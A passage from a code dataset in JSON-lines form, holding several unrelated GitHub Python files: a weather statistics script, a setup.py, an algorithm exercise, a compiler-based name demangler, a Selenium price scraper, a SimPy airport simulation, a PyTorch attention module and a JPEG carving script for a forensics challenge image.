sdl2.SDL_KEYDOWN:\n        moverate = -1.0\n        return\n    moverate = 0.0\n\n\nwm.tickmethod = tickmethod\nwm.set_key_event(sdl2.keycode.SDLK_LEFT, rot_ccw)\nwm.set_key_event(sdl2.keycode.SDLK_RIGHT, rot_cw)\nwm.set_key_event(sdl2.keycode.SDLK_DOWN, move_orth_fwd)\nwm.set_key_event(sdl2.keycode.SDLK_UP, move_orth_bwd)\nwm.run()\n","repo_name":"pale-ale/HEGL_Penrose","sub_path":"build/lib/fibonacci/fibonaccitiling.py","file_name":"fibonaccitiling.py","file_ext":"py","file_size_in_byte":4306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33246240726","text":"\r\n\r\n# Finn antall penværsdager for hvert år og plott dette.\r\n#  Man kan finne antall penværsdager ved å sjekke gjennomsnittlig skydekke.\r\n#  Hver dag med verdi 3 eller lavere er en penværsdag.\r\n#  Inkluder bare år hvor det er data om skydekke for mesteparten av året, det må være data for minst 300 dager for at et år skal være gyldig.\r\n\r\n\r\nfrom deloppgave_2a_ekk import data_parser\r\nfrom datetime import datetime\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef return_number_of_clear_days(text_file):\r\n    vaer_data = data_parser(text_file)\r\n    clear_days_count = {}\r\n    clear_days = 0\r\n    day_counter = 0\r\n    valid_years = set()\r\n\r\n    for row in vaer_data:\r\n        date = row['Dato']\r\n        skydekke = row['Gj_skydekke']\r\n\r\n        if (skydekke == \"\" or skydekke == \"-\") or (date == \"\" or date == \"-\"):\r\n            continue\r\n     \r\n        skydekke = float(skydekke.replace(\",\", \".\"))\r\n        date_parsed = datetime.strptime(date, \"%d.%m.%Y\")\r\n        year = date_parsed.year\r\n        day_counter += 1\r\n\r\n        if year not in clear_days_count:\r\n            clear_days_count[year] = 0\r\n            if year-1 in clear_days_count and day_counter >= 300:\r\n                clear_days_count[year-1] = clear_days\r\n                valid_years.add(year-1)\r\n        \r\n            day_counter = 0\r\n            clear_days = 0\r\n        \r\n        if skydekke <= 3:  # Endret betingelsen her\r\n            clear_days += 1\r\n\r\n    if day_counter >= 300:\r\n        clear_days_count[year] = clear_days\r\n\r\n    return {year: days for year, days in clear_days_count.items() if year in valid_years}\r\n\r\n\r\ndef plot_number_of_clear_days(text_file): \r\n    year_clear_days = return_number_of_clear_days(text_file)\r\n\r\n    years = [key for key in year_clear_days.keys()]\r\n    clear_days = [value for value in year_clear_days.values()]\r\n    \r\n    plt.plot(years, clear_days, marker='o', color='green', label='Antall penværsdager')\r\n    plt.xlabel('År')\r\n    plt.ylabel('Antall dager')\r\n    plt.legend()\r\n    plt.show()\r\n\r\nplot_number_of_clear_days('snoedybder_vaer_en_stasjon_dogn.csv')","repo_name":"ErlendKK/DAT120_Prosjektgruppe_93","sub_path":"deloppgave_2g_jsk.py","file_name":"deloppgave_2g_jsk.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27304173177","text":"import os\nfrom setuptools import setup\n\n\ndef get_packages():\n    # setuptools can't do the job :(\n    packages = []\n    for root, dirnames, filenames in os.walk('couleur'):\n        if '__init__.py' in filenames:\n            packages.append(\".\".join(os.path.split(root)).strip(\".\"))\n\n    return packages\n\n\nsetup(\n    name='couleur',\n    version='0.6.2',\n    description=(\n        'ANSI terminal tool for python, colored shell and other '\n        'handy fancy features'\n    ),\n    author='Gabriel Falcao',\n    author_email='gabriel@nacaolivre.org',\n    url='http://github.com/gabrielfalcao/couleur',\n    packages=get_packages(),\n    classifiers=[\n        'Development Status :: 5 - Production/Stable',\n        'License :: OSI Approved :: Apache Software License',\n        \"Operating System :: POSIX\",\n        'Programming Language :: Python',\n        'Programming Language :: Python :: 2',\n    ],\n)\n","repo_name":"openstack-archive/deb-python-couleur","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"36459588179","text":"\n# Length of the longest subarray with zero Sum\n# Problem Statement: Given an array containing both positive and negative integers, we have to find the length of the longest subarray with the sum of all elements equal to zero.\n\n# Examples\n# Example 1:\n# Input Format: N = 6, array[] = {9, -3, 3, -1, 6, -5}\n# Result: 5\n# Explanation: The following subarrays sum to zero:\n# {-3, 3} , {-1, 6, -5}, {-3, 3, -1, 6, -5}\n# Since we require the length of the longest subarray, our answer is 5!\n\n\n\ndef Large0Sum(arr, n):\n    hashh = {}\n    res = 0\n    summ = 0\n    for i in range(n):\n        summ+=arr[i]\n        if summ == 0:\n            res = i + 1\n        elif summ in hashh:\n            test = i-hashh[summ]\n            res = max(res, test)\n        else:\n            hashh[summ] = i\n    return res\n\n\n\n\n\n\n\na = [9, -3, 3, -1, 6, -5]\nans = Large0Sum(a, len(a))\nprint(\"The longest consecutive sequence is\", ans)","repo_name":"strawhatYashdeepRathi/75HARD","sub_path":"GFGLargestSubArrWith0Sum.py","file_name":"GFGLargestSubArrWith0Sum.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19147313204","text":"import subprocess\nimport re\n\nasmTemplate = \"\"\"\n    .section .text\n    .global {func}\n    {func}:\n        bl {func}\n\"\"\"\n\nregex = re.compile(r\"multiply-defined:(?:.*?)'(.*)'(?:.*?)in\", re.DOTALL)\n\nass = [\"../bfbbdecomp/tools/mwcc_compiler/2.7/mwasmeppc.exe\"]\nld = [\"../bfbbdecomp/tools/mwcc_compiler/2.7/mwldeppc.exe\"]\n\nsubTypes = [\n    (\"char\", \"int8\"),\n    (\"short\", \"int16\"),\n    (\"int\", \"int32\"),\n    (\"long long\", \"int64\"),\n    (\"unsigned char\", \"uint8\"),\n    (\"unsigned short\", \"uint16\"),\n    (\"unsigned int\", \"uint32\"),\n    (\"unsigned long long\", \"uint64\"),\n    (\"float\", \"float32\"),\n    (\"double\", \"float64\"),\n    (\"long\", \"long32\"),\n    (\"unsigned long\", \"ulong32\"),\n]\n\nsubTypes.sort(key=lambda x: -len(x[0]))\n\ndef defuckify(name):\n    lines = name.splitlines()\n    data = []\n    for l in lines:\n        while l[0] == '#':\n            l = l.replace('#', '', 1)\n        res = l.strip()\n        data.append(res)\n    res = \" \".join(data).strip()\n    #res = res.replace(\",\", \", \")\n    return res\n\ndef escapeName(functionName):\n    sub = [\n        ('<',  '_esc__0_'),\n        ('>',  '_esc__1_'),\n        ('@',  '_esc__2_'),\n        ('\\\\', '_esc__3_'),\n        (',',  '_esc__4_'),\n        ('-',  '_esc__5_')\n    ]\n    for s in sub:\n        functionName = functionName.replace(s[1], s[0])\n    return functionName\n\ndef demangleFunction(functionName):\n    #print(\"DEMANGLE:\", functionName)\n    if functionName != escapeName(functionName):\n        return None\n    #functionName = escapeName(functionName)\n    asm = asmTemplate.replace(\"{func}\", functionName)\n    open(\"test1.s\", \"w\").write(asm)\n    open(\"test2.s\", \"w\").write(asm)\n    subprocess.run(ass + [\"test1.s\"])\n    subprocess.run(ass + [\"test2.s\"])\n    process = subprocess.Popen(ld + [\"test1.o\", \"test2.o\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    out, err = process.communicate()\n    output = out.decode(\"utf-8\")\n    #print(output)\n    name = regex.findall(output)\n    if len(name) == 0:\n        return None\n    name = defuckify(name[0])\n    return name\n\n#print(demangleFunction(\"zSaveLoad_CardCheckSpaceSingle_doCheck__FP17st_XSAVEGAME_DATAi\"))","repo_name":"mattbruv/bfbbtools","sub_path":"demangle.py","file_name":"demangle.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"73545874982","text":"import json\nfrom datetime import datetime\n\nfrom selenium.webdriver.common.keys import Keys\n\nfrom price_tracker.test import (\n    get_web_driver_options,\n    set_browser_as_incognito,\n    get_chrome_web_driver,\n    name,\n    filters,\n    base_url,\n    currency\n)\n\n\nclass generate_report:\n    def __init__(self, file_name, filters, base_link, currency, data):\n        self.data = data\n        self.file_name = file_name\n        self.filters = filters\n        self.base_link = base_link\n        self.currency = currency\n        sorted(data, key=lambda k: k['price'])\n        report = {\n            'title': self.file_name,\n            'date': self.get_now(),\n            'best_item': self.get_best_item(),\n            'products': self.data\n        }\n        print(\"Creating Report\")\n        try:\n            filname = file_name + '.json'\n            f = open(filname, 'w+')\n            json.dump(report, f)\n            f.close()\n        except Exception as e:\n            print(e)\n            print(\"Unable to create the Report\")\n        print(\"Done\")\n\n    def get_now(self):\n        now = datetime.now()\n        return now.strftime(\"%d/%m/%Y %H:%M:%S\")\n\n    def get_best_item(self):\n        try:\n            return sorted(data, key=lambda k: k['price'])[0]\n        except Exception as e:\n            print(e)\n            print(\"Error Sorting items\")\n            return None\n\n\nclass amazon_api:\n    def __init__(self, search_term, filters, base_url, currency):\n        self.search_term = search_term\n        self.base_url = base_url\n        options = get_web_driver_options()\n        set_browser_as_incognito(options)\n        self.driver = get_chrome_web_driver(options)\n        self.currency = currency\n        self.price_filter = f\"&i=videogames&rh=n%3A976460031%2Cp_36%3A{filters['min']}00-{filters['max']}00\"\n\n    def run(self):\n        print(\"Starting script...\")\n        print(f\"Looking for {self.search_term}...\")\n        links = self.get_product_links()\n        if not links:\n            print(\"Scraping Ended...\")\n            self.driver.quit()\n            return\n        print(f\"Got {len(links)} links...\")\n        print(\"Getting info about games...\")\n        products = self.get_products_info(links)\n        print(f\"Got info for {len(products)} products...\")\n        self.driver.quit()\n        return products\n\n    def get_products_info(self, links):\n        asins = self.get_asins(links)\n        products = []\n        i = 1\n        for asin in asins:\n            product = self.get_single_product_info(asin, i)\n            if product:\n                products.append(product)\n            i += 1\n        return products\n\n    def get_single_product_info(self, asin, i):\n        print(f\"{i} Product ID: {asin} => Getting Info...\")\n        product_short_url = self.base_url + '/dp/' + asin\n        self.driver.get(f'{product_short_url}')\n        title = self.get_title()\n        seller = self.get_seller()\n        price = self.get_price()\n        if title and seller and price:\n            product_info = {\n                'asin': asin,\n                'url': product_short_url,\n                'title': title,\n                'seller': seller,\n                'price': price\n            }\n            return product_info\n        return None\n\n    def get_title(self):\n        return self.driver.find_element_by_id(\"productTitle\").text\n\n    def get_seller(self):\n        return self.driver.find_element_by_id(\"sellerProfileTriggerId\").text\n\n    def get_price(self):\n        price = self.driver.find_element_by_id(\"priceblock_ourprice\").text.strip()\n        p1 = price.replace(',', '')\n        if p1.find('.'):\n            return float(p1)\n        else:\n            p2 = p1 + '.00'\n            return float(p2)\n\n    def get_asins(self, links):\n        return [self.get_asin(link) for link in links]\n\n    def get_asin(self, product_link):\n        return product_link.split(\"/ref\")[0].split(\"/dp/\")[1]\n\n    def get_product_links(self):\n        self.driver.get(self.base_url)\n        element = self.driver.find_element_by_xpath('//*[@id=\"twotabsearchtextbox\"]')\n        element.send_keys(self.search_term)\n        element.send_keys(Keys.ENTER)\n        self.driver.get(f'{self.driver.current_url}{self.price_filter}')\n        result_list = self.driver.find_elements_by_class_name('s-result-list')\n        links = []\n        try:\n            results = result_list[1].find_elements_by_xpath('//div/span/div/div/div[2]/div[2]/div/div[1]/div/div/div['\n                                                            '1]/h2/a')\n            links = [link.get_attribute('href') for link in results]\n            return links\n        except Exception as e:\n            print(\"Didn't find any product...\")\n            print(e)\n            return links\n\n\nif __name__ == '__main__':\n    amazon = amazon_api(name, filters, base_url, currency)\n    data = amazon.run()\n    generate_report(name, filters, base_url, currency, data)\n","repo_name":"bibinprakashselvakumar/Price_Tracker","sub_path":"simple_tracker.py","file_name":"simple_tracker.py","file_ext":"py","file_size_in_byte":4910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3844728913","text":"import json\nfrom decimal import Decimal\n\n\n\nif __name__ == '__main__':\n    with open(\"data.json\") as json_file:\n        data = json.load(json_file, parse_float=Decimal)\n\n        username = \"Xzan8189\"\n\n        print(\"Staff di Telegram: \")\n        for item in data:\n            print(item)\n            #print(item['username_telegram'])","repo_name":"xzan8189/ClashOfClans-bot","sub_path":"settings/data/loadData.py","file_name":"loadData.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72432450020","text":"import simpy as sim\r\nimport numpy\r\nimport random\r\nimport datetime\r\nimport statistics\r\nfrom matplotlib import pyplot as plt\r\nimport time\r\n\r\nenv = sim.Environment()\r\n# Arrival intensity\r\n# time                  = [0,1,2,3,4,5  ,6  ,7  ,8 ,9 ,10,11 ,12 ,13 ,14 ,15,16,17,18,19,20 ,21 ,22 ,23]\r\narrivalIntensityIndexed = numpy.array([0, 0, 0, 0, 0, 120, 120, 120, 30, 30,\r\n                           30, 15\r\n                            , 150, 150, 150, 30, 30, 30, 30, 30, 120, 120, 120, 120])\r\n\r\nDAYS = 30\r\nSIM_TIME = 60*60*24*DAYS\r\nsInAnHour = 60*60\r\n\r\nT_guard = 60  # seconds\r\nP_delay = 0.5  # probability\r\nT_landing = 60  # seconds\r\nT_takeoff = 60  # seconds\r\n#T_plowing = 60  # Time needed to plow a runway in seconds\r\nT_deicing = 10*60 # seconds\r\nX_turnaround_expected = 45*60  # seconds\r\nN_runways = 20  # max runways\r\n#N_deicing_trucks = 1 # max deicing trucks\r\n    \r\nplane_number = 0\r\ninterarrival_times = []\r\narrival_times = []\r\n\r\ndef getCurrentArrivalIntensity(currenttime):\r\n    clockCurrentDay = getClockCurrentDay(currenttime)\r\n    return arrivalIntensityIndexed[int(clockCurrentDay)]\r\n\r\ndef getClockCurrentDay(currenttime):\r\n    # currenttime is in seconds\r\n    currentHour = currenttime / sInAnHour\r\n    return currentHour % 24\r\n\r\ndef PlaneGen(env, X_delay_expected, runways, deicing_trucks):\r\n    while True:\r\n        clock = getClockCurrentDay(env.now)\r\n        if clock < 5:\r\n            yield env.timeout(5*sInAnHour-clock*sInAnHour +1)  # wait til 05:00\r\n            # fix points on the start of day\r\n        #print(\"Plane %i arrived at %s\" % (plane, datetime.timedelta(seconds = env.now)))\r\n        delayed = random.random()\r\n        delay = random.gammavariate(\r\n            3.0, X_delay_expected/3) if delayed <= P_delay and X_delay_expected > 0 else 0\r\n        planeArrivalTime = max(numpy.random.exponential(\r\n            getCurrentArrivalIntensity(env.now)), T_guard)\r\n        interarrival_times.append(round(planeArrivalTime+delay, 1))\r\n        arrival_times.append(env.now)\r\n        Plane(env, runways, deicing_trucks, delay)  # should scedule with delay\r\n        yield env.timeout(int(planeArrivalTime))\r\n\r\nclass Plane(object):\r\n\r\n    info = []\r\n    nr = 0\r\n\r\n    def __init__(self, env, runways, deicing_trucks, delay):\r\n        self.env = env\r\n        self.action = env.process(self.run(delay))\r\n        self.runways = runways\r\n        self.deicing_trucks = deicing_trucks\r\n        Plane.nr += 1\r\n        self.number = Plane.nr\r\n\r\n    def add_info(self, more_info):\r\n        self.info.append(more_info)\r\n\r\n    def run(self, delay):\r\n        # Timestamp and hold delay\r\n        scheduled_arrival = self.env.now\r\n        if delay > 0:\r\n            yield self.env.timeout(delay)\r\n        arrival_finished = self.env.now\r\n\r\n        # Initiate landing-sequence and timestamp at end\r\n        request_landing = self.runways.request(priority=1)\r\n        yield request_landing\r\n        yield self.env.timeout(T_landing)\r\n        self.runways.release(request_landing)\r\n        landing_finished = self.env.now\r\n\r\n        # Initiate turn_around-sequence and timestamp at end\r\n        turnaround = random.gammavariate(7.0, X_turnaround_expected/7)\r\n        yield self.env.timeout(turnaround)\r\n        turn_around_finished = self.env.now\r\n        \r\n        # Initiate deicing-sequence and timestamp at end\r\n        request_deicing = self.deicing_trucks.request()\r\n        yield request_deicing\r\n        yield self.env.timeout(T_deicing)\r\n        self.deicing_trucks.release(request_deicing)\r\n        deicing_finished = self.env.now\r\n\r\n        # Initiate take_off-sequence and timestamp at end\r\n        request_takeoff = self.runways.request(priority=2)\r\n        yield request_takeoff\r\n        yield self.env.timeout(T_takeoff)\r\n        self.runways.release(request_takeoff)\r\n        take_off_finished = self.env.now\r\n\r\n        # Report variables\r\n        self.add_info({\"number\": self.number,\r\n                       \"schedule\": scheduled_arrival,\r\n                       \"arrival\": arrival_finished,\r\n                       \"delay\": arrival_finished - scheduled_arrival,\r\n                       \"landing_finished\": landing_finished,\r\n                       \"landing_time\": landing_finished - arrival_finished,\r\n                       \"turn_around_finished\": turn_around_finished,\r\n                       \"turn_around_time\": turn_around_finished - landing_finished,\r\n                       \"deicing_finished\": deicing_finished,\r\n                       \"deicing_time\": deicing_finished-turn_around_finished,\r\n                       \"take_off_finished\": take_off_finished,\r\n                       \"take_off_time\": take_off_finished - turn_around_finished,\r\n                       \"airport_time\": take_off_finished - arrival_finished\r\n                       })\r\n\r\ndef calculate_statistics(results, minTime, maxTime, xkey, ykey):\r\n    # Iterates over the results from the simulation in order to find the proper population to examine\r\n    population = []\r\n    population.clear()\r\n    # print(\"Min:\", minTime, \"Max:\", maxTime)\r\n    for dictionary in results:\r\n        # Making the data go in the correct bin regardless of which day it is\r\n        if getClockCurrentDay(dictionary[xkey])*3600 >= minTime and getClockCurrentDay(dictionary[xkey])*3600 < maxTime:          \r\n            population.append(dictionary[ykey])\r\n    # Returns the mean and population standard deviation for the population\r\n    if len(population) == 0:\r\n        return 0,0\r\n    return statistics.mean(population), statistics.pstdev(population)\r\n\r\ndef calculate_intervals(results, xkey, ykey):\r\n    number_of_bins = 24\r\n    mean = []\r\n    stddev = []\r\n    for i in range(0, number_of_bins):\r\n        # Find the mean and standard deviation for the current bin and append to the corresponding arrays\r\n        i_mean, i_std = calculate_statistics(\r\n            results, 3600*i, 3600*(i+1), xkey, ykey)\r\n        mean.append(i_mean)\r\n        stddev.append(i_std)\r\n    return mean, stddev\r\n\r\ndef run_simulation():\r\n    start_time = time.time()\r\n    # Create the arrays to store information about the landing\r\n    means_landing = []\r\n    stds_landing = []\r\n\r\n    # Create the arrays to store information about the deicing\r\n    means_deicing = []\r\n    stds_deicing = []\r\n    \r\n    # Create the arrays to store information about the takeoff\r\n    means_takeoff = []\r\n    stds_takeoff = []\r\n    # Create the arrays to store information about the total time at airport\r\n    means_airport = []\r\n    stds_airport = []\r\n\r\n    delays = [0, 300, 600, 1800 ]\r\n    labels = [\r\n        \"μ_delay = {delay} s\".format(delay=delays[0]),\r\n        \"μ_delay = {delay} s\".format(delay=delays[1]),\r\n        \"μ_delay = {delay} s\".format(delay=delays[2]),\r\n        \"μ_delay = {delay} s\".format(delay=delays[3])]\r\n\r\n    N_deicing_trucks = [1, 3, 7, 10]\r\n    labels = [\r\n        \"N_deicing_trucks = {N_deicing_truck}\".format(N_deicing_truck=N_deicing_trucks[0]),\r\n        \"N_deicing_trucks = {N_deicing_truck}\".format(N_deicing_truck=N_deicing_trucks[1]),\r\n        \"N_deicing_trucks = {N_deicing_truck}\".format(N_deicing_truck=N_deicing_trucks[2]),\r\n        \"N_deicing_trucks = {N_deicing_truck}\".format(N_deicing_truck=N_deicing_trucks[3])]\r\n\r\n    T_plowings = [1*60, 3*60, 7*60, 10*60]\r\n    labels = [\r\n        \"T_plowing = {T_plowing} s\".format(T_plowing=T_plowings[0]),\r\n        \"T_plowing = {T_plowing} s\".format(T_plowing=T_plowings[1]),\r\n        \"T_plowing = {T_plowing} s\".format(T_plowing=T_plowings[2]),\r\n        \"T_plowing = {T_plowing} s\".format(T_plowing=T_plowings[3])]\r\n\r\n    for i in range(4):\r\n        # Creating the enviroment/ Resetting the enviroment for multiple runs\r\n        start_time_one_sim = time.time()\r\n        env = sim.Environment()\r\n\r\n        # Create resources\r\n        runways = sim.PriorityResource(env, capacity=N_runways)\r\n        deicing_trucks = sim.Resource(env, capacity=100)\r\n        snow_container = sim.Container(env, capacity = 1)\r\n\r\n        # Create entities\r\n        gen = PlaneGen(env, 0, runways, deicing_trucks)\r\n        plowtruck = PlowTruck(env,snow_container,runways,T_plowings[i] )\r\n        weather = Weather(env,snow_container)\r\n        env.process(gen)\r\n        env.process(plowtruck)\r\n        env.process(weather)\r\n\r\n        print(\"starting run\", i, \"\\n\")\r\n\r\n        # Run the simulation until the given time\r\n        env.run(until=SIM_TIME)\r\n        # The results we want to examine er in Plane.info and we clear the array to make sure that it doesn't mess up the next iteration\r\n        results = Plane.info.copy()\r\n        Plane.info.clear()\r\n        Plane.nr = 0\r\n        # Calculates the needed statistics in order to print barchart of landing\r\n        xkey = \"schedule\"\r\n        ykey = \"landing_time\"\r\n        mean_landing, stddev_landing = calculate_intervals(results, xkey, ykey)\r\n        means_landing.append(mean_landing)\r\n        stds_landing.append(stddev_landing)\r\n\r\n        # Calculates the needed statistics in order to print barchart of deicing\r\n        ykey = \"deicing_time\"\r\n        mean_deicing, stddev_deicing = calculate_intervals(results, xkey, ykey)\r\n        means_deicing.append(mean_deicing)\r\n        stds_deicing.append(stddev_deicing)\r\n\r\n        # Calculates the needed statistics in order to print barchart of takeoff\r\n        ykey = \"take_off_time\"\r\n        mean_takeoff, stddev_takeoff = calculate_intervals(results, xkey, ykey)\r\n        means_takeoff.append(mean_takeoff)\r\n        stds_takeoff.append(stddev_takeoff)\r\n\r\n        # Calculates the needed statistics in order to print barchart of airport\r\n        ykey = \"airport_time\"\r\n        mean_airport, stddev_airport = calculate_intervals(results, xkey, ykey)\r\n        means_airport.append(getClockCurrentDay(numpy.array(mean_airport))*60)\r\n        stds_airport.append(getClockCurrentDay(numpy.array(stddev_airport))*60)\r\n        results.clear()\r\n        print(\"---run %i took %s seconds ---\" % (i, time.time() - start_time_one_sim))\r\n    print(\"--- %s seconds ---\" % (time.time() - start_time))\r\n    multiplot_bar(means_airport, stds_airport, labels, \"Arrival time\", \"Time between arrival and takeoff [minutes]\", \"Time between arrival and takeoff with {rw} runways\".format(rw = N_runways), \"arrival-takeoff-{delayP}-{rw}R-{d}-snow\".format(delayP = round(100*P_delay), rw = N_runways, d = DAYS))\r\n    \"\"\" multiplot_bar(means_landing, stds_landing, labels, \"Arrival time\",\r\n                  \"Time between arrival and landing [s]\", \"Time between arrival and landing with {rw} runways\".format(rw = N_runways), \"arrival-landing-{delayP}-{rw}R-{d}-snow\".format(delayP = round(100*P_delay), rw = N_runways, d = DAYS))\r\n    multiplot_bar(means_deicing, stds_deicing, labels, \"Arrival time\",\r\n                  \"Time between turn around and deicing [s]\", \"Time between turn around and deicing with {rw} runways\".format(rw = N_runways), \"TA-deicing-{delayP}-{rw}R-{d}-snow\".format(delayP = round(100*P_delay), rw = N_runways, d = DAYS))\r\n    multiplot_bar(means_takeoff, stds_takeoff, labels, \"Arrival time\",\r\n                  \"Time between deicing and takeoff [s]\", \"Time between deicing and takeoff with {rw} runways\".format( rw = N_runways), \"deicing-takeoff-{delayP}-{rw}R-{d}-snow\".format(delayP = round(100*P_delay), rw = N_runways, d = DAYS)) \"\"\"\r\n    return 0\r\n\r\ndef multiplot_bar(means, stds, labels, x_label, y_label, title, filename):\r\n    length = numpy.arange(24)\r\n    colors = [\"b\", \"g\", \"r\", \"c\", \"m\", \"y\"]\r\n    fig, axs = plt.subplots(nrows=2, ncols=2, figsize=(20, 10))\r\n    for row in axs:\r\n        for col in row:\r\n            col.set_xticks(length)\r\n\r\n    for i in range(2):\r\n        for j in range(2):\r\n            axs[i, j].bar(length, means[2*i+j], yerr=stds[2*i+j],\r\n                          align='center', alpha=0.65, capsize=10, color=colors[2*i+j])\r\n            axs[i, j].set_title(labels[2*i+j])\r\n\r\n    for ax in axs.flat:\r\n        ax.set(ylabel=y_label)\r\n\r\n    plt.suptitle(title, fontsize=25)\r\n    f_name = \"lab2/plots/\" + filename + \".png\"\r\n    print(\"saved plot as \", f_name)\r\n    plt.savefig(f_name, dpi=500)\r\n\r\ndef Weather(env, snow_container):\r\n    # Expected values for the random variables\r\n    time_clear_expected = 2*60*60  # Expected length of clear weather in seconds\r\n    time_snowing_expected = 60*60  # Expected length of snow\r\n    snow_intensity_expected = 45*60\r\n    # While the simulation is active...\r\n    while True:\r\n        # Generate the random variables\r\n        time_clear = numpy.random.exponential(1)*time_clear_expected\r\n        time_snowing = numpy.random.exponential(1)*time_snowing_expected\r\n        snow_intensity = numpy.random.exponential(1)*snow_intensity_expected # Tiden været trenger på å fylle rullebanene med snø i sekunder\r\n        # Hold until it starts snowing\r\n        print(\"Time_clear:\", time_clear)\r\n        print(\"Time_snowing:\", time_snowing)\r\n        print(\"Snow_intensity:\", snow_intensity) \r\n        print(\"\\n\\n\")\r\n        yield env.timeout(time_clear)\r\n        # Iterate over the time spent snowing to somewhat continously increase the amount of snow\r\n        while(time_snowing > 2.5*60):\r\n            yield env.timeout(5*60)\r\n            #print(\"test\")\r\n            if snow_container.level < snow_container.capacity:\r\n                sim.resources.container.ContainerPut(\r\n                snow_container, min(5*60/snow_intensity, 1-snow_container.level))\r\n            time_snowing -= 5*60\r\n\r\ndef PlowTruck(env, snow_container, runways, plowing_time):\r\n    # Parameters given by assignment\r\n    # While the simulation is active...\r\n    plowed = 0\r\n    while True:\r\n        # Wait until the runways are covered in snow\r\n        yield sim.resources.container.ContainerGet(snow_container, 1)\r\n        #print(\"Preparing for plowing. Time =\", getClockCurrentDay(env.now))\r\n        # Create an array of runways and request all runways with highest priority\r\n        runway_array = []\r\n        for i in range(N_runways):\r\n            runway_array.append(runways.request(priority=0))\r\n        # Wait for request, plow when available, release when plowed\r\n        start = env.now\r\n        for i in range(N_runways):\r\n            #print(\"plowing runway:\", i)\r\n            yield runway_array[i]\r\n            yield env.timeout(plowing_time)\r\n            runways.release(runway_array[i])\r\n            #print(\"Runways in use:\", runways.count)\r\n        plowed += 1\r\n        print(plowed,\"it took\",env.now-start, \"s to clear all runways\")\r\n\r\nrun_simulation()\r\n\r\n\r\n#The second factor is the number of plow trucks compared to the number of runways. E.g. If we have so many runways that the plow truck is unable to regularly clear them all before they’re filled again, the extra runways are pretty much useless. In addition, having more plow trucks than runways is just as wasteful. As we’re only able to use a single plow truck per runway in this model, there’s no reason to have more plow trucks than runways. One would therefore want a number of plow trucks that cleanly divide the number of runways. This is due to the fact that all plow trucks would either be working or in standby at the same time. Increasing the amount of plow trucks is the only thing airport management can realistically do to handle snow and as such, we would recommend running a single truck if the time required for plowing is below three minutes as the delays in the top graphs are fine, but start ","repo_name":"eriktmidtun/TTM4110-Pyse-lab2","sub_path":"lab2/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":15339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72864761382","text":"import torch\nimport torch.nn as nn\n\n\nclass SelfAttention(nn.Module):\n\n    def __init__(self, apperture=-1, ignore_itself=False, input_size=1024, output_size=1024):\n        super(SelfAttention, self).__init__()\n\n        self.apperture = apperture\n        self.ignore_itself = ignore_itself\n\n        self.m = input_size\n        self.output_size = output_size\n\n        self.K = nn.Linear(in_features=self.m, out_features=self.output_size, bias=False)\n        self.Q = nn.Linear(in_features=self.m, out_features=self.output_size, bias=False)\n        self.V = nn.Linear(in_features=self.m, out_features=self.output_size, bias=False)\n        self.output_linear = nn.Linear(in_features=self.output_size, out_features=self.m, bias=False)\n\n        self.drop50 = nn.Dropout(0.5)\n\n    def forward(self, x):\n        n = x.shape[0]  # sequence length\n\n        K = self.K(x)  # ENC (n x m) => (n x H) H= hidden size\n        Q = self.Q(x)  # ENC (n x m) => (n x H) H= hidden size\n        V = self.V(x)\n\n        Q *= 0.06\n        logits = torch.matmul(Q, K.transpose(1, 2))\n\n        if self.ignore_itself:\n            # Zero the diagonal activations (a distance of each frame with itself)\n            logits[torch.eye(n).byte()] = -float(\"Inf\")\n\n        if self.apperture > 0:\n            # Set attention to zero to frames further than +/- apperture from the current one\n            onesmask = torch.ones(n, n)\n            trimask = torch.tril(onesmask, -self.apperture) + torch.triu(onesmask, self.apperture)\n            logits[trimask == 1] = -float(\"Inf\")\n\n        att_weights_ = nn.functional.softmax(logits, dim=-1)\n        weights = self.drop50(att_weights_)\n        y = torch.matmul(V.transpose(1, 2), weights)\n        y = self.output_linear(y.transpose(1, 2))\n\n        return y, att_weights_\n","repo_name":"grief8/video-contrast","sub_path":"network/attention.py","file_name":"attention.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"32086468632","text":"import io\r\nfrom pathlib import Path\r\nimport PIL\r\nfrom PIL import Image, ImageFile\r\n\r\nImageFile.LOAD_TRUNCATED_IMAGES = True\r\n\r\nimport binascii\r\n\r\nfolder = Path(\"C:/Users/georg/motherlode/UMass/cs590K\")\r\nfilename = folder / \"dfrws-2006-challenge.raw\"\r\nwith open(filename, 'rb') as f:\r\n    hexdata = f.read()\r\n    #print(hexdata)\r\n    if isinstance(hexdata, bytes):\r\n        print(\"hello!\")\r\n\r\n    # all hex data is in memory now\r\n    header_index = []  # stores the index/byte-position of each header (i.e. FFD8FFE0) in the raw file\r\n    print(len(hexdata))\r\n    count = 0\r\n    for i in range(0, len(hexdata)):\r\n        slice = hexdata[i:i+4].hex()\r\n        #print(len(slice))\r\n        if(slice=='ffd8ffe0'):\r\n            #print (slice, i)\r\n            header_index.append(i)\r\n        elif(slice[0:4]=='ffd9'):\r\n            count+=1\r\n            # for every footer, match it with every header possible\r\n            num = 0\r\n            for header in reversed(header_index):\r\n                image_bytes = io.BytesIO(hexdata[header:i+2])\r\n                # print(image_bytes)\r\n                try:\r\n                    img = Image.open(image_bytes)\r\n                    # img.show()\r\n                    print(img.size, i+2, header)\r\n                    img.save(folder / (str(header)+\"_\"+str(i+2) + \".jpeg\"))\r\n                    